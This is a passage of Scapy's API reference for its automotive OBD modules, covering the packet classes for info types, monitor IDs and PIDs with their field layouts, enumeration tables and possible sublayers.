+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |           ECU NAMES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID0A                          


OBD_IID0A fields






	count

	FieldLenField

	None



	ecu_names

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID0B(_pkt, /, *, count=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L156-L163]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID0B                          


OBD_IID0B fields






	count

	FieldLenField

	None



	data

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_S09_PR(_pkt, /, *, data_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L26-L34]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L32-L34]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATA RECORDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S09_PR                          


OBD_S09_PR fields






	data_records

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_S09_PR_Record(_pkt, /, *, iid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L20-L23]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      IID      |
+-+-+-+-+-+-+-+-+

                      Fig. OBD_S09_PR_Record                      


OBD_S09_PR_Record fields






	iid

	XByteField

	0











	
payload_guess

	Possible sublayers:
OBD_IID00, OBD_IID01, OBD_IID02, OBD_IID03, OBD_IID04, OBD_IID05, OBD_IID06, OBD_IID07, OBD_IID08, OBD_IID09, OBD_IID0A, OBD_IID0B












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.mid package

Package of contrib automotive obd specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.obd.mid.mids









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.mid.mids


	
class scapy.contrib.automotive.obd.mid.mids.OBD_MID00(_pkt, /, *, supported_mids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L325-L328]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED MIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MID00                          


OBD_MID00 fields






	supported_mids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.mid.mids.OBD_MID20(_pkt, /, *, supported_mids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L331-L334]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED MIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MID20                          


OBD_MID20 fields






	supported_mids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.mid.mids.OBD_MID40(_pkt, /, *, supported_mids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L337-L340]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED MIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MID40                          


OBD_MID40 fields






	supported_mids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.mid.mids.OBD_MID60(_pkt, /, *, supported_mids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L343-L346]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED MIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MID60                          


OBD_MID60 fields






	supported_mids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.mid.mids.OBD_MID80(_pkt, /, *, supported_mids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L349-L352]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED MIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MID80                          


OBD_MID80 fields






	supported_mids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.mid.mids.OBD_MIDA0(_pkt, /, *, supported_mids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L355-L358]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED MIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MIDA0                          


OBD_MIDA0 fields






	supported_mids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.mid.mids.OBD_MIDXX(_pkt, /, *, standardized_test_id=1, unit_and_scaling_id=1, test_value=None, min_limit=None, max_limit=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L218-L322]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STANDARDIZED TE|UNIT AND SCALIN|           TEST VALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           MIN LIMIT           |           MAX LIMIT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_MIDXX                          


OBD_MIDXX fields






	standardized_test_id

	ByteEnumField

	1



	unit_and_scaling_id

	ByteEnumField

	1



	test_value

	MultipleTypeField (ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ShortEnumField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ShortField)

	0



	min_limit

	MultipleTypeField (ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ShortEnumField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ShortField)

	0



	max_limit

	MultipleTypeField (ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ShortEnumField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ScalingField, ShortField)

	0











	
standardized_test_ids = {1: 'TID_01_RichToLeanSensorThresholdVoltage', 2: 'TID_02_LeanToRichSensorThresholdVoltage', 3: 'TID_03_LowSensorVoltageForSwitchTimeCalculation', 4: 'TID_04_HighSensorVoltageForSwitchTimeCalculation', 5: 'TID_05_RichToLeanSensorSwitchTime', 6: 'TID_06_LeanToRichSensorSwitchTime', 7: 'TID_07_MinimumSensorVoltageForTestCycle', 8: 'TID_08_MaximumSensorVoltageForTestCycle', 9: 'TID_09_TimeBetweenSensorTransitions', 10: 'TID_0A_SensorPeriod'}

	




	
unit_and_scaling_ids = {1: 'Raw Value', 2: 'Raw Value', 3: 'Raw Value', 4: 'Raw Value', 5: 'Raw Value', 6: 'Raw Value', 7: 'rotational frequency', 8: 'Speed', 9: 'Speed', 10: 'Voltage', 11: 'Voltage', 12: 'Voltage', 13: 'Current', 14: 'Current', 15: 'Current', 16: 'Time', 17: 'Time', 18: 'Time', 19: 'Resistance', 20: 'Resistance', 21: 'Resistance', 22: 'Temperature', 23: 'Pressure (Gauge)', 24: 'Pressure (Air pressure)', 25: 'Pressure (Fuel pressure)', 26: 'Pressure (Gauge)', 27: 'Pressure (Diesel pressure)', 28: 'Angle', 29: 'Angle', 30: 'Equivalence ratio (lambda)', 31: 'Air/Fuel ratio', 32: 'Ratio', 33: 'Frequency', 34: 'Frequency', 35: 'Frequency', 36: 'Counts', 37: 'Distance', 38: 'Voltage per time', 39: 'Mass per time', 40: 'Mass per time', 41: 'Pressure per time', 42: 'Mass per time', 43: 'Switches', 44: 'Mass per cylinder', 45: 'Mass per stroke', 46: 'True/False', 47: 'Percent', 48: 'Percent', 49: 'volume', 50: 'length', 51: 'Equivalence ratio (lambda)', 52: 'Time', 53: 'Time', 54: 'Weight', 55: 'Weight', 56: 'Weight', 57: 'Percent', 129: 'Raw Value', 130: 'Raw Value', 131: 'Raw Value', 132: 'Raw Value', 133: 'Raw Value', 134: 'Raw Value', 138: 'Voltage', 139: 'Voltage', 140: 'Voltage', 141: 'Current', 142: 'Current', 144: 'Time', 150: 'Temperature', 156: 'Angle', 157: 'Angle', 168: 'Mass per time', 169: 'Pressure per time', 175: 'Percent', 176: 'Percent', 177: 'Voltage per time', 253: 'Pressure', 254: 'Pressure'}

	








	
class scapy.contrib.automotive.obd.mid.mids.OBD_S06_PR(_pkt, /, *, data_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L457-L465]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L463-L465]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATA RECORDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S06_PR                          


OBD_S06_PR fields






	data_records

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.mid.mids.OBD_S06_PR_Record(_pkt, /, *, mid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/mid/mids.py#L361-L454]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MID      |
+-+-+-+-+-+-+-+-+

                      Fig. OBD_S06_PR_Record                      


OBD_S06_PR_Record fields






	mid

	ByteEnumField

	0











	
on_board_monitoring_ids = {0: 'OBD Monitor IDs supported ($01 - $20)', 1: 'Oxygen Sensor Monitor Bank 1 - Sensor 1', 2: 'Oxygen Sensor Monitor Bank 1 - Sensor 2', 3: 'Oxygen Sensor Monitor Bank 1 - Sensor 3', 4: 'Oxygen Sensor Monitor Bank 1 - Sensor 4', 5: 'Oxygen Sensor Monitor Bank 2 - Sensor 1', 6: 'Oxygen Sensor Monitor Bank 2 - Sensor 2', 7: 'Oxygen Sensor Monitor Bank 2 - Sensor 3', 8: 'Oxygen Sensor Monitor Bank 2 - Sensor 4', 9: 'Oxygen Sensor Monitor Bank 3 - Sensor 1', 10: 'Oxygen Sensor Monitor Bank 3 - Sensor 2', 11: 'Oxygen Sensor Monitor Bank 3 - Sensor 3', 12: 'Oxygen Sensor Monitor Bank 3 - Sensor 4', 13: 'Oxygen Sensor Monitor Bank 4 - Sensor 1', 14: 'Oxygen Sensor Monitor Bank 4 - Sensor 2', 15: 'Oxygen Sensor Monitor Bank 4 - Sensor 3', 16: 'Oxygen Sensor Monitor Bank 4 - Sensor 4', 32: 'OBD Monitor IDs supported ($21 - $40)', 33: 'Catalyst Monitor Bank 1', 34: 'Catalyst Monitor Bank 2', 35: 'Catalyst Monitor Bank 3', 36: 'Catalyst Monitor Bank 4', 50: 'EGR Monitor Bank 2', 51: 'EGR Monitor Bank 3', 52: 'EGR Monitor Bank 4', 53: 'VVT Monitor Bank 1', 54: 'VVT Monitor Bank 2', 55: 'VVT Monitor Bank 3', 56: 'VVT Monitor Bank 4', 57: 'EVAP Monitor (Cap Off / 0.150")', 58: 'EVAP Monitor (0.090")', 59: 'EVAP Monitor (0.040")', 60: 'EVAP Monitor (0.020")', 61: 'Purge Flow Monitor', 64: 'OBD Monitor IDs supported ($41 - $60)', 65: 'Oxygen Sensor Heater Monitor Bank 1 - Sensor 1', 66: 'Oxygen Sensor Heater Monitor Bank 1 - Sensor 2', 67: 'Oxygen Sensor Heater Monitor Bank 1 - Sensor 3', 68: 'Oxygen Sensor Heater Monitor Bank 1 - Sensor 4', 69: 'Oxygen Sensor Heater Monitor Bank 2 - Sensor 1', 70: 'Oxygen Sensor Heater Monitor Bank 2 - Sensor 2', 71: 'Oxygen Sensor Heater Monitor Bank 2 - Sensor 3', 72: 'Oxygen Sensor Heater Monitor Bank 2 - Sensor 4', 73: 'Oxygen Sensor Heater Monitor Bank 3 - Sensor 1', 74: 'Oxygen Sensor Heater Monitor Bank 3 - Sensor 2', 75: 'Oxygen Sensor Heater Monitor Bank 3 - Sensor 3', 76: 'Oxygen Sensor Heater Monitor Bank 3 - Sensor 4', 77: 'Oxygen Sensor Heater Monitor Bank 4 - Sensor 1', 78: 'Oxygen Sensor Heater Monitor Bank 4 - Sensor 2', 79: 'Oxygen Sensor Heater Monitor Bank 4 - Sensor 3', 80: 'Oxygen Sensor Heater Monitor Bank 4 - Sensor 4', 96: 'OBD Monitor IDs supported ($61 - $80)', 97: 'Heated Catalyst Monitor Bank 1', 98: 'Heated Catalyst Monitor Bank 2', 99: 'Heated Catalyst Monitor Bank 3', 100: 'Heated Catalyst Monitor Bank 4', 113: 'Secondary Air Monitor 1', 114: 'Secondary Air Monitor 2', 115: 'Secondary Air Monitor 3', 116: 'Secondary Air Monitor 4', 128: 'OBD Monitor IDs supported ($81 - $A0)', 129: 'Fuel System Monitor Bank 1', 130: 'Fuel System Monitor Bank 2', 131: 'Fuel System Monitor Bank 3', 132: 'Fuel System Monitor Bank 4', 133: 'Boost Pressure Control Monitor Bank 1', 134: 'Boost Pressure Control Monitor Bank 2', 144: 'NOx Adsorber Monitor Bank 1', 145: 'NOx Adsorber Monitor Bank 2', 152: 'NOx Catalyst Monitor Bank 1', 153: 'NOx Catalyst Monitor Bank 2', 160: 'OBD Monitor IDs supported ($A1 - $C0)', 161: 'Misfire Monitor General Data', 162: 'Misfire Cylinder 1 Data', 163: 'Misfire Cylinder 2 Data', 164: 'Misfire Cylinder 3 Data', 165: 'Misfire Cylinder 4 Data', 166: 'Misfire Cylinder 5 Data', 167: 'Misfire Cylinder 6 Data', 168: 'Misfire Cylinder 7 Data', 169: 'Misfire Cylinder 8 Data', 170: 'Misfire Cylinder 9 Data', 171: 'Misfire Cylinder 10 Data', 172: 'Misfire Cylinder 11 Data', 173: 'Misfire Cylinder 12 Data', 176: 'PM Filter Monitor Bank 1', 177: 'PM Filter Monitor Bank 2'}

	




	
payload_guess

	Possible sublayers:
OBD_MID00, OBD_MID20, OBD_MID40, OBD_MID60, OBD_MID80, OBD_MIDA0, OBD_MIDXX












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid package

Package of contrib automotive obd specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.obd.pid.pids

	scapy.contrib.automotive.obd.pid.pids_00_1F

	scapy.contrib.automotive.obd.pid.pids_20_3F

	scapy.contrib.automotive.obd.pid.pids_40_5F

	scapy.contrib.automotive.obd.pid.pids_60_7F

	scapy.contrib.automotive.obd.pid.pids_80_9F

	scapy.contrib.automotive.obd.pid.pids_A0_C0









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids


	
class scapy.contrib.automotive.obd.pid.pids.OBD_S01_PR(_pkt, /, *, data_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids.py#L27-L35]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids.py#L33-L35]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATA RECORDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S01_PR                          


OBD_S01_PR fields






	data_records

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.pid.pids.OBD_S01_PR_Record(_pkt, /, *, pid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids.py#L21-L24]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PID      |
+-+-+-+-+-+-+-+-+

                      Fig. OBD_S01_PR_Record                      


OBD_S01_PR_Record fields






	pid

	XByteField

	0











	
payload_guess

	Possible sublayers:
OBD_PID00, OBD_PID01, OBD_PID02, OBD_PID03, OBD_PID04, OBD_PID05, OBD_PID06, OBD_PID07, OBD_PID08, OBD_PID09, OBD_PID0A, OBD_PID0B, OBD_PID0C, OBD_PID0D, OBD_PID0E, OBD_PID0F, OBD_PID10, OBD_PID11, OBD_PID12, OBD_PID13, OBD_PID14, OBD_PID15, OBD_PID16, OBD_PID17, OBD_PID18, OBD_PID19, OBD_PID1A, OBD_PID1B, OBD_PID1C, OBD_PID1D, OBD_PID1E, OBD_PID1F, OBD_PID20, OBD_PID21, OBD_PID22, OBD_PID23, OBD_PID24, OBD_PID25, OBD_PID26, OBD_PID27, OBD_PID28, OBD_PID29, OBD_PID2A, OBD_PID2B, OBD_PID2C, OBD_PID2D, OBD_PID2E, OBD_PID2F, OBD_PID30, OBD_PID31, OBD_PID32, OBD_PID33, OBD_PID34, OBD_PID35, OBD_PID36, OBD_PID37, OBD_PID38, OBD_PID39, OBD_PID3A, OBD_PID3B, OBD_PID3C, OBD_PID3D, OBD_PID3E, OBD_PID3F, OBD_PID40, OBD_PID41, OBD_PID42, OBD_PID43, OBD_PID44, OBD_PID45, OBD_PID46, OBD_PID47, OBD_PID48, OBD_PID49, OBD_PID4A, OBD_PID4B, OBD_PID4C, OBD_PID4D, OBD_PID4E, OBD_PID4F, OBD_PID50, OBD_PID51, OBD_PID52, OBD_PID53, OBD_PID54, OBD_PID55, OBD_PID56, OBD_PID57, OBD_PID58, OBD_PID59, OBD_PID5A, OBD_PID5B, OBD_PID5C, OBD_PID5D, OBD_PID5E, OBD_PID5F, OBD_PID60, OBD_PID61, OBD_PID62, OBD_PID63, OBD_PID64, OBD_PID65, OBD_PID66, OBD_PID67, OBD_PID68, OBD_PID69, OBD_PID6A, OBD_PID6B, OBD_PID6C, OBD_PID6D, OBD_PID6E, OBD_PID6F, OBD_PID70, OBD_PID71, OBD_PID72, OBD_PID73, OBD_PID74, OBD_PID75, OBD_PID76, OBD_PID77, OBD_PID78, OBD_PID79, OBD_PID7A, OBD_PID7B, OBD_PID7C, OBD_PID7D, OBD_PID7E, OBD_PID7F, OBD_PID80, OBD_PID81, OBD_PID82, OBD_PID83, OBD_PID84, OBD_PID85, OBD_PID86, OBD_PID87, OBD_PID88, OBD_PID89, OBD_PID8A, OBD_PID8B, OBD_PID8C, OBD_PID8D, OBD_PID8E, OBD_PID8F, OBD_PID90, OBD_PID91, OBD_PID92, OBD_PID93, OBD_PID94, OBD_PID98, OBD_PID99, OBD_PID9A, OBD_PID9B, OBD_PID9C, OBD_PID9D, OBD_PID9E, OBD_PID9F, OBD_PIDA0, OBD_PIDA1, OBD_PIDA2, OBD_PIDA3, OBD_PIDA4, OBD_PIDA5, OBD_PIDA6, OBD_PIDC0










	
class scapy.contrib.automotive.obd.pid.pids.OBD_S02_PR(_pkt, /, *, data_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids.py#L45-L54]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids.py#L51-L54]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATA RECORDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S02_PR                          


OBD_S02_PR fields






	data_records

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.pid.pids.OBD_S02_PR_Record(_pkt, /, *, pid=0, frame_no=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids.py#L38-L42]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PID      |    FRAME NO   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OBD_S02_PR_Record                      


OBD_S02_PR_Record fields






	pid

	XByteField

	0



	frame_no

	XByteField

	0











	
payload_guess

	Possible sublayers:
OBD_PID00, OBD_PID01, OBD_PID02, OBD_PID03, OBD_PID04, OBD_PID05, OBD_PID06, OBD_PID07, OBD_PID08, OBD_PID09, OBD_PID0A, OBD_PID0B, OBD_PID0C, OBD_PID0D, OBD_PID0E, OBD_PID0F, OBD_PID10, OBD_PID11, OBD_PID12, OBD_PID13, OBD_PID14, OBD_PID15, OBD_PID16, OBD_PID17, OBD_PID18, OBD_PID19, OBD_PID1A, OBD_PID1B, OBD_PID1C, OBD_PID1D, OBD_PID1E, OBD_PID1F, OBD_PID20, OBD_PID21, OBD_PID22, OBD_PID23, OBD_PID24, OBD_PID25, OBD_PID26, OBD_PID27, OBD_PID28, OBD_PID29, OBD_PID2A, OBD_PID2B, OBD_PID2C, OBD_PID2D, OBD_PID2E, OBD_PID2F, OBD_PID30, OBD_PID31, OBD_PID32, OBD_PID33, OBD_PID34, OBD_PID35, OBD_PID36, OBD_PID37, OBD_PID38, OBD_PID39, OBD_PID3A, OBD_PID3B, OBD_PID3C, OBD_PID3D, OBD_PID3E, OBD_PID3F, OBD_PID40, OBD_PID41, OBD_PID42, OBD_PID43, OBD_PID44, OBD_PID45, OBD_PID46, OBD_PID47, OBD_PID48, OBD_PID49, OBD_PID4A, OBD_PID4B, OBD_PID4C, OBD_PID4D, OBD_PID4E, OBD_PID4F, OBD_PID50, OBD_PID51, OBD_PID52, OBD_PID53, OBD_PID54, OBD_PID55, OBD_PID56, OBD_PID57, OBD_PID58, OBD_PID59, OBD_PID5A, OBD_PID5B, OBD_PID5C, OBD_PID5D, OBD_PID5E, OBD_PID5F, OBD_PID60, OBD_PID61, OBD_PID62, OBD_PID63, OBD_PID64, OBD_PID65, OBD_PID66, OBD_PID67, OBD_PID68, OBD_PID69, OBD_PID6A, OBD_PID6B, OBD_PID6C, OBD_PID6D, OBD_PID6E, OBD_PID6F, OBD_PID70, OBD_PID71, OBD_PID72, OBD_PID73, OBD_PID74, OBD_PID75, OBD_PID76, OBD_PID77, OBD_PID78, 